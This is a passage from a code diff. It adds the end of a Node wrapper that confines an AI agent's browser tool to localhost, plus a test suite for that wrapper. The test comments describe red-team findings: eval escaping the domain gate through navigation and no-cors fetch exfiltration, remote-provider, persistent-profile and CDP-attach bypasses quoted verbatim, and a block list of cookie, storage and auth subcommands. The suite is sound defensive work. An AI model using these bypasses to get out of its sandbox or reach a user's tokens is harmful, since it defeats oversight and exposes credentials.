|
189
|
+
any ambient AGENT_BROWSER_*/*_PROXY environment.
|
|
190
|
+
|
|
191
|
+
Exit: agent-browser's own exit code · 2 usage/rejected argv · 1 other.`;
|
|
192
|
+
|
|
193
|
+
function main() {
|
|
194
|
+
const argv = process.argv.slice(2);
|
|
195
|
+
if (argv.length === 0 || argv[0] === '--help' || argv[0] === '-h') {
|
|
196
|
+
process.stdout.write(`${HELP}\n`);
|
|
197
|
+
process.exit(argv.length === 0 ? 2 : 0);
|
|
198
|
+
}
|
|
199
|
+
const blockReason = validateArgv(argv);
|
|
200
|
+
if (blockReason) {
|
|
201
|
+
process.stderr.write(`agent-browser-safe: ${blockReason}\n`);
|
|
202
|
+
process.exit(2);
|
|
203
|
+
}
|
|
204
|
+
const [sub, ...rest] = argv;
|
|
205
|
+
const env = { ...process.env };
|
|
206
|
+
for (const key of CLEARED_ENV_KEYS) delete env[key];
|
|
207
|
+
env.AGENT_BROWSER_ALLOWED_DOMAINS = 'localhost,127.0.0.1';
|
|
208
|
+
const result = spawnSync(
|
|
209
|
+
'agent-browser',
|
|
210
|
+
['--config', EMPTY_CONFIG_PATH, sub, ...rest, '--allowed-domains', 'localhost,127.0.0.1'],
|
|
211
|
+
{ stdio: 'inherit', env }
|
|
212
|
+
);
|
|
213
|
+
if (result.error) {
|
|
214
|
+
process.stderr.write(
|
|
215
|
+
`agent-browser-safe: failed to run agent-browser: ${result.error.message}\n`
|
|
216
|
+
);
|
|
217
|
+
process.exit(1);
|
|
218
|
+
}
|
|
219
|
+
process.exit(result.status ?? 1);
|
|
220
|
+
}
|
|
221
|
+
|
|
222
|
+
// Run only when invoked directly (not when imported by the test). This shim
|
|
223
|
+
// runs under real `node` on a real on-disk path (never embedded in
|
|
224
|
+
// `bun --compile`), so the classic argv[1] guard is correct here — see the
|
|
225
|
+
// v0.38.0 self-heal memory.
|
|
226
|
+
if (process.argv[1] && import.meta.url === pathToFileURL(process.argv[1]).href) {
|
|
227
|
+
main();
|
|
228
|
+
}
|
|
@@ -0,0 +1,165 @@
|
|
|
1
|
+
// DDR-185 security addendum, round 3 — the hardened agent-browser wrapper
|
|
2
|
+
// behind `maude design agent-browser-safe`
|
|
3
|
+
// (apps/studio/bin/_agent-browser-safe.mjs). This suite locks the SECURITY
|
|
4
|
+
// CORE: the closed subcommand allow-list (no cookies/clipboard/storage/
|
|
5
|
+
// connect/chat/eval reachable — `eval` was REMOVED in round 3, see below),
|
|
6
|
+
// the fixed positional-argument ARITY per subcommand with NO flag
|
|
7
|
+
// vocabulary at all, and the `--config`-pin + full env-clearing that closes
|
|
8
|
+
// the project-level `agent-browser.json` auto-discovery bypass a live
|
|
9
|
+
// adversarial pass found round 2 never considered.
|
|
10
|
+
|
|
11
|
+
import { describe, expect, test } from 'bun:test';
|
|
12
|
+
import { readFileSync } from 'node:fs';
|
|
13
|
+
import {
|
|
14
|
+
ALLOWED_SUBCOMMANDS,
|
|
15
|
+
CLEARED_ENV_KEYS,
|
|
16
|
+
SUBCOMMAND_ARITY,
|
|
17
|
+
validateArgv,
|
|
18
|
+
} from './_agent-browser-safe.mjs';
|
|
19
|
+
|
|
20
|
+
describe('validateArgv — subcommand allow-list', () => {
|
|
21
|
+
for (const sub of ALLOWED_SUBCOMMANDS) {
|
|
22
|
+
test(`accepts "${sub}" with its minimum expected argument count`, () => {
|
|
23
|
+
const [min] = SUBCOMMAND_ARITY[sub];
|
|
24
|
+
const args = Array.from({ length: min }, (_, i) => `arg${i}`);
|
|
25
|
+
expect(validateArgv([sub, ...args])).toBeNull();
|
|
26
|
+
});
|
|
27
|
+
}
|
|
28
|
+
|
|
29
|
+
test('round 3: "eval" is REMOVED — arbitrary JS execution can\'t be argv-constrained (ethical-hacker Finding 1)', () => {
|
|
30
|
+
// Round 2 kept eval on the allow-list; a live adversarial pass proved
|
|
31
|
+
// eval defeats --allowed-domains entirely (window.location.href escapes
|
|
32
|
+
// the navigation gate; a no-cors fetch() exfiltrates without even
|
|
33
|
+
// needing a domain match) — no argv check can close that, so the
|
|
34
|
+
// capability itself is cut, mirroring this DDR's own `find` precedent.
|
|
35
|
+
expect(ALLOWED_SUBCOMMANDS).not.toContain('eval');
|
|
36
|
+
const reason = validateArgv(['eval', '1+1']);
|
|
37
|
+
expect(reason).toContain('eval');
|
|
38
|
+
});
|
|
39
|
+
|
|
40
|
+
for (const sub of [
|
|
41
|
+
'cookies',
|
|
42
|
+
'clipboard',
|
|
43
|
+
'storage',
|
|
44
|
+
'connect',
|
|
45
|
+
'chat',
|
|
46
|
+
'upload',
|
|
47
|
+
'auth',
|
|
48
|
+
'profiles',
|
|
49
|
+
]) {
|
|
50
|
+
test(`rejects the credential/session-hijack-capable subcommand "${sub}" (ethical-hacker Finding D)`, () => {
|
|
51
|
+
const reason = validateArgv([sub, 'get']);
|
|
52
|
+
expect(reason).toContain(sub);
|
|
53
|
+
});
|
|
54
|
+
}
|
|
55
|
+
|
|
56
|
+
test('rejects when no subcommand is given', () => {
|
|
57
|
+
expect(validateArgv([])).not.toBeNull();
|
|
58
|
+
});
|
|
59
|
+
});
|
|
60
|
+
|
|
61
|
+
describe('validateArgv — fixed arity, NO flag vocabulary at all', () => {
|
|
62
|
+
test('rejects an extra argument beyond the expected arity, whatever it looks like', () => {
|
|
63
|
+
const reason = validateArgv(['open', 'http://localhost:1', 'extra']);
|
|
64
|
+
expect(reason).toContain('exactly 1');
|
|
65
|
+
});
|
|
66
|
+
|
|
67
|
+
test('rejects the --provider/-p remote-cloud-browser PoC verbatim (round-2 finding)', () => {
|
|
68
|
+
expect(
|
|
69
|
+
validateArgv(['open', 'http://localhost:1', '--provider', 'browserbase'])
|
|
70
|
+
).not.toBeNull();
|
|
71
|
+
expect(validateArgv(['open', '-p', 'browserbase', 'http://localhost:1'])).not.toBeNull();
|
|
72
|
+
});
|
|
73
|
+
|
|
74
|
+
test('rejects the persistent-profile PoC verbatim (still closed under the arity model)', () => {
|
|
75
|
+
expect(
|
|
76
|
+
validateArgv(['open', '--profile', 'Default', 'https://github.com/settings/tokens'])
|
|
77
|
+
).not.toBeNull();
|
|
78
|
+
});
|
|
79
|
+
|
|
80
|
+
test('rejects the CDP-attach PoC verbatim (still closed under the arity model)', () => {
|
|
81
|
+
expect(validateArgv(['snapshot', '--cdp', '9222'])).not.toBeNull();
|
|
82
|
+
});
|
|
83
|
+
|
|
84
|
+
test('a positional value that itself starts with "-" is NOT mistaken for a flag (arity-based, not prefix-based)', () => {
|
|
85
|
+
// agent-browser-safe get "-weird-thing" must still work — the arity
|
|
86
|
+
// model looks at COUNT, not at whether a token happens to start with a
|
|
87
|
+
// dash.
|
|
88
|
+
expect(validateArgv(['get', '-weird-thing'])).toBeNull();
|
|
89
|
+
});
|
|
90
|
+
|
|
91
|
+
test('screenshot accepts 0 or 1 positional args (optional path)', () => {
|
|
92
|
+
expect(validateArgv(['screenshot'])).toBeNull();
|
|
93
|
+
expect(validateArgv(['screenshot', '/tmp/out.png'])).toBeNull();
|
|
94
|
+
expect(validateArgv(['screenshot', '/tmp/out.png', 'extra'])).not.toBeNull();
|
|
95
|
+
});
|
|
96
|
+
|
|
97
|
+
test('get accepts 1 or 2 positional args (thing + optional selector)', () => {
|
|
98
|
+
expect(validateArgv(['get', 'text'])).toBeNull();
|
|
99
|
+
expect(validateArgv(['get', 'text', '.selector'])).toBeNull();
|
|
100
|
+
expect(validateArgv(['get'])).not.toBeNull();
|
|
101
|
+
});
|
|
102
|
+
|
|
103
|
+
test('snapshot and close accept exactly 0 arguments', () => {
|
|
104
|
+
expect(validateArgv(['snapshot'])).toBeNull();
|
|
105
|
+
expect(validateArgv(['snapshot', '-i'])).not.toBeNull();
|
|
106
|
+
expect(validateArgv(['close'])).toBeNull();
|
|
107
|
+
expect(validateArgv(['close', '--all'])).not.toBeNull();
|
|
108
|
+
});
|
|
109
|
+
|
|
110
|
+
test('an ordinary allowed invocation with no extra args passes', () => {
|
|
111
|
+
expect(validateArgv(['open', 'http://localhost:3000/'])).toBeNull();
|
|
112
|
+
expect(validateArgv(['screenshot', '/tmp/out.png'])).toBeNull();
|
|
113
|
+
});
|
|
114
|
+
});
|
|
115
|
+
|
|
116
|
+
describe('CLEARED_ENV_KEYS', () => {
|
|
117
|
+
test('round 3: covers AGENT_BROWSER_CONFIG (defense in depth alongside the --config pin)', () => {
|
|
118
|
+
expect(CLEARED_ENV_KEYS).toContain('AGENT_BROWSER_CONFIG');
|
|
119
|
+
});
|
|
120
|
+
|
|
121
|
+
test('round 2: covers the three vars a live verification pass found missing from round 1', () => {
|
|
122
|
+
for (const key of [
|
|
123
|
+
'AGENT_BROWSER_AUTO_CONNECT',
|
|
124
|
+
'AGENT_BROWSER_PROXY',
|
|
125
|
+
'AGENT_BROWSER_ENGINE',
|
|
126
|
+
]) {
|
|
127
|
+
expect(CLEARED_ENV_KEYS).toContain(key);
|
|
128
|
+
}
|
|
129
|
+
});
|
|
130
|
+
|
|
131
|
+
test('covers all four standard proxy env vars, both cases', () => {
|
|
132
|
+
for (const key of [
|
|
133
|
+
'HTTP_PROXY',
|
|
134
|
+
'HTTPS_PROXY',
|
|
135
|
+
'ALL_PROXY',
|
|
136
|
+
'http_proxy',
|
|
137
|
+
'https_proxy',
|
|
138
|
+
'all_proxy',
|
|
139
|
+
]) {
|
|
140
|
+
expect(CLEARED_ENV_KEYS).toContain(key);
|
|
141
|
+
}
|
|
142
|
+
});
|
|
143
|
+
|
|
144
|
+
test('still covers the original round-1 set', () => {
|
|
145
|
+
for (const key of [
|
|
146
|
+
'AGENT_BROWSER_PROFILE',
|
|
147
|
+
'AGENT_BROWSER_SESSION_NAME',
|
|
148
|
+
'AGENT_BROWSER_ACTION_POLICY',
|
|
149
|
+
'AGENT_BROWSER_CONFIRM_ACTIONS',
|
|
150
|
+
'AGENT_BROWSER_CONFIRM_INTERACTIVE',
|
|
151
|
+
]) {
|
|
152
|
+
expect(CLEARED_ENV_KEYS).toContain(key);
|
|
153
|
+
}
|
|
154
|
+
});
|
|
155
|
+
});
|
|
156
|
+
|
|
157
|
+
describe('the forced --config target (round 3: closes ./agent-browser.json auto-discovery)', () => {
|
|
158
|
+
test('_agent-browser-safe-config.json exists and is valid, empty JSON', () => {
|
|
159
|
+
// Must stay valid JSON — agent-browser exits with an error if --config
|
|
160
|
+
// points to a missing/invalid file, which would break every allowed
|
|
161
|
+
// subcommand, not just fail safe.
|
|
162
|
+
const raw = readFileSync(new URL('./_agent-browser-safe-config.json', import.meta.url), 'utf8');
|
|
163
|
+
expect(JSON.parse(raw)).toEqual({});
|
|
164
|
+
});
|
|
165
|
+
});
|